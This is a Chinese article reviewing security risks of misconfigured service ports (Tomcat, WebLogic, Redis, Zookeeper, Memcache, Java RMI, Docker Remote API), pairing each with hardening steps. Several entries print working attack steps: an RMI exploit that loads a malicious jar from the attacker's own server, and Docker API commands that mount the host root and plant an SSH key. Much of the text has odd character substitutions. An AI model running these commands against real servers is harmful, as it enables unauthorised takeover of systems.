常見服務端口安全風險總結

 

 

前言

 

 

在平常安全測試工做中，至少有30%以上的定級爲嚴重和高危的漏洞，都是基於服務端口配置不當所形成的。

所以，本篇文章主要針對服務端口安全問題展開簡單總結，但願能儘可能減小在平常開發工做中的嚴重高危漏洞。（因爲篇幅有限，本文只探討平時在安全測試中所發現的端口服務漏洞）

 

咱們都知道，Web服務通常都是經過端口號來識別的，而端口與服務的關係，就好像端口是閘門鑰匙，服務是泄洪水庫，當須要泄洪的時候須要用鑰匙開啓閘門。一旦鑰匙保存不當（端口配置不當），那麼這把鑰匙就有可能被不懷好意的人所利用，所形成的後果每每是很嚴重的。好比敏感數據被竊取，服務器命令任意執行，服務器權限被非法獲取等。下文來說解具體的某些服務配置不當所形成的漏洞危害，以及如何去正確配置。

 

服務

 

Apache/Tomcat/Nginx等中間件（默認端口：80/8080）

 

一、弱口令（admin/admin，root/root等）

詳解：有些應用開放了中間件的控制檯頁面，若是存在弱口令，可經過爆破登陸控制檯，對部署的應用進行任意操做，甚至能夠上傳惡意腳本getshell。

加固：以tomcat爲例，刪除tomcat目錄下的ROOT文件；或者打開conf/tomcat-uers.xml，修改相似於<user username="admin" password="admin" roles="admin,manager"/>的用戶名密碼。

二、版本信息泄露

詳解：當訪問應用不存在的頁面時，會返回中間件默認設置的404頁面，該頁面會泄露相關版本信息。某些版本的中間件含有特定漏洞 ，若是攻擊者知道了版本信息，可能會針對該版原本進行攻擊，所以須要咱們自定義錯誤頁面。

 

 

加固：在web.xml文件的<error-page>設置中，重定向到自定義的錯誤頁面。

 

WebLogic（默認端口7001）

 

一、java反序列化

詳解：Java反序列化即，由字節流還原成對象。ObjectInputStream類的readObject()方法用於反序列化。所以要利用Java反序列化漏洞，須要在進行反序列化的地方傳入攻擊者的序列化代碼。Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.0和12.2.1.1版本存在反序列化遠程命令執行漏洞，惡意人員能夠經過構造惡意請求報文遠程執行命令。

利用：一樣的java反序列化漏洞，也存在於Jboss、Websphere、Jenkins容器中。可利用java反序列化測試工具進行測試。

 

 

加固：升級weblogic官方補丁包；或者刪除特定文件，刪除commons-collections.jar包內org/apache/commons/collections/functors/InvokerTransformer.class文件，要用壓縮工具軟件打開後直接刪除。

 

二、Weblogic服務端請求僞造漏洞(SSRF)

詳解：WebLogic 服務器的 UDDI 功能一般很隱蔽，但外部能夠訪問，Oracle的 WebLogic web服務器一般（a）外部可訪問；（b）被容許調用對內部主機的鏈接。 SearchPublicRegistries.jsp 頁面可被未認證的攻擊者濫用，形成 WebLogic 服務器鏈接任意主機的任意端口。其返回信息很是詳細，可被攻擊者用來推斷在指定端口是否有相關服務在監聽。

利用：經過訪問http://**.**.**.**/uddiexplorer/SearchPublicRegistries.jsp，點擊search，攔截請求包，將operator參數改成想要探測的主機，經過響應信息科判斷主機是否被監聽，可探測內網。

 

 

加固：若是業務不須要UDDI功能，就關閉這個功能。能夠刪除uddiexporer文件夾，能夠可在/weblogicPath/server/lib/uddiexplorer.war解壓後，註釋掉上面的jsp再打包。

 

Redis數據庫（默認端口6379）

 

一、Redis未受權訪問

詳解：redis是一個開源的使用c語言寫的，支持網絡、可基於內存亦可持久化的日誌型、key-value數據庫。Redis因配置不當能夠未受權訪問。攻擊者無需認證訪問到內部數據，可致使敏感信息泄露，也能夠惡意執行flushall來清空全部數據。若是Redis以root身份運行，能夠給root帳戶寫入SSH公鑰文件，直接經過SSH登陸受害服務器。

利用：用redis-cli客戶端嘗試未受權訪問，redis-cli -h ip。可獲取redis數據庫中敏感信息，還能夠寫入SSH公鑰文件來登陸受害服務器，從而獲取服務器權限。

 

 

加固：爲Redis 添加密碼驗證（重啓redis才能生效）：修改 redis.conf 文件，添加requirepass mypassword（注意redis不要用-a參數，明文輸入密碼，鏈接後使用auth證）；或者禁止一些高危命令（重啓redis才能生效）修改 redis.conf 文件，禁用遠程修改 DB 文件地址：

rename-command FLUSHALL ""

rename-command CONFIG ""

rename-command EVAL ""

 

Zookeeper服務（默認端口2181）

 

一、未受權訪問

詳解：分佈式的，開放源碼的分佈式應用程序協調服務。Zookeeper安裝部署以後默認狀況下不須要任何身份驗證，形成攻擊者能夠遠程利用Zookeeper，經過服務器收集敏感信息或者在Zookeeper集羣內進行破壞（好比：kill命令）。攻擊者可以執行全部只容許由管理員運行的命令。

利用：執行如下命令便可遠程獲取該服務器的環境：echo envi | nc ip port

直接鏈接：./zkCli.sh -server ip:port

加固： 一、禁止把Zookeeper直接暴露在公網二、添加訪問控制，根據狀況選擇對應方式（認證用戶，用戶名密碼）三、綁定指定IP訪問

Memcache服務（默認端口11211）

一、未受權訪問

詳解：Memcache是一套經常使用的key-value緩存系統，因爲它自己沒有權限控制模塊，因此對公網開放的Memcache服務很容易被攻擊者掃描發現，攻擊者經過命令交互可直接讀取Memcached中的敏感信息。

利用：一、登陸機器執行netstat -an |more命令查看端口監聽狀況。回顯0.0.0.0:11211表示在全部網卡進行監聽，存在memcached未受權訪問漏洞。二、telnet <target> 11211，或nc -vv <target> 11211，提示鏈接成功表示漏洞存在。

加固：一、設置memchached只容許本地訪問二、禁止外網訪問Memcached 11211端口三、編譯時加上–enable-sasl，啓用SASL認證

RMI服務（默認端口1090、1099）

一、遠程命令執行

詳解：Java RMI服務是遠程方法調用。它是一種機制，可以讓在某個java虛擬機上的對象調用另外一個Java虛擬機的對象的方法。1099端口本來對應的服務爲 Apache ActiveMQ 對 JMX 的支持，可是因爲配置不當，致使攻擊者能夠經過此端口利用 javax.management.loading.MLet的getMBeansFromURL 方法來加載一個遠端惡意的 MBean ，便可以遠程執行任意代碼。固然，這個 JMX 的利用方法不只僅在 ActiveMQ 上可以利用，在不少服務支持 JMX 的狀況下其實也可以適用。

利用：利用攻擊測試文件RMIexploit.jar（可從網上下載），其中的ErrorBaseExec.jar是一個自定義的能夠執行回顯的jar文件，將它放置到VPS上使得其能夠經過http訪問。命令行下執行java -jar RMIexploit.jar 目標ip 端口 http://本身ip:端口/ErroBaseExec.jar "命令"

Docker Remote API（默認端口2375）

一、Docker未受權訪問

詳解：Docker Remote API是一個取代遠程命令行界面（rcli）的REST API。經過 docker client 或者 http 直接請求就能夠訪問這個 API，經過這個接口，咱們能夠新建 container，刪除已有 container，甚至是獲取宿主機的 shell。

利用：經過訪問http://ip/images/json能夠獲取到全部的 images 列表

http://host:2375/containers/json會返回服務器當前運行的 container列表，和在docker CLI上執行 docker ps 的效果同樣，過Post包咱們還能夠新建、開啓和關閉容器，其餘操做好比拉取image等操做也均可以經過API調用完成。

Docker remote Api未受權訪問的攻擊原理與以前的Redis未受權訪問漏洞大同小異，都是經過向運行該應用的服務器寫文件，從而拿到服務器的權限，常見的利用方法以下:

（1）遠程對被攻擊的主機的docker容器進行操做：docker -H tcp://remoteip:2375 images

（2）啓動一個容器並將宿主機根目錄掛在到容器的mnt目錄：docker -H tcp://remoteip:2375 run -it -v /:/mnt imageId /bin/bash

（3）在本地主機生成公鑰文件：ssh-keygen

（4）在容器上的root目錄中，mkdir .ssh 建立ssh目錄；touch authorized_keys 建立文件

（5）將主機中的rsa.pub裏的公鑰寫入容器中的authorized_keys文件裏

（6）ssh root@ip 免密碼登陸宿主主機

加固：一、在沒必要需的狀況下，不要啓用docker的remote api服務，若是必須使用的話，能夠採用以下的加固方式：設置ACL，僅容許信任的來源IP鏈接；設置TLS認證，官方的文檔爲Protect the Docker daemon socket

一、 客戶端鏈接時須要設置如下環境變量export DOCKER_TLS_VERIFY=1

export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12

三、在 docker api 服務器前面加一個代理，例如 nginx，設置 401 認證

 

結束語

以上關於服務端口的漏洞，都是基於平時對公司產品進行安全測試時所發現的。在WEB應用中，能獲取服務器權限或getshell的漏洞，不少都是因爲開發人員疏忽了對服務端口的安全配置形成的。其實，只要作好對服務端口的正確配置和加固，就能避免至關一部分高中危甚至是嚴重的漏洞。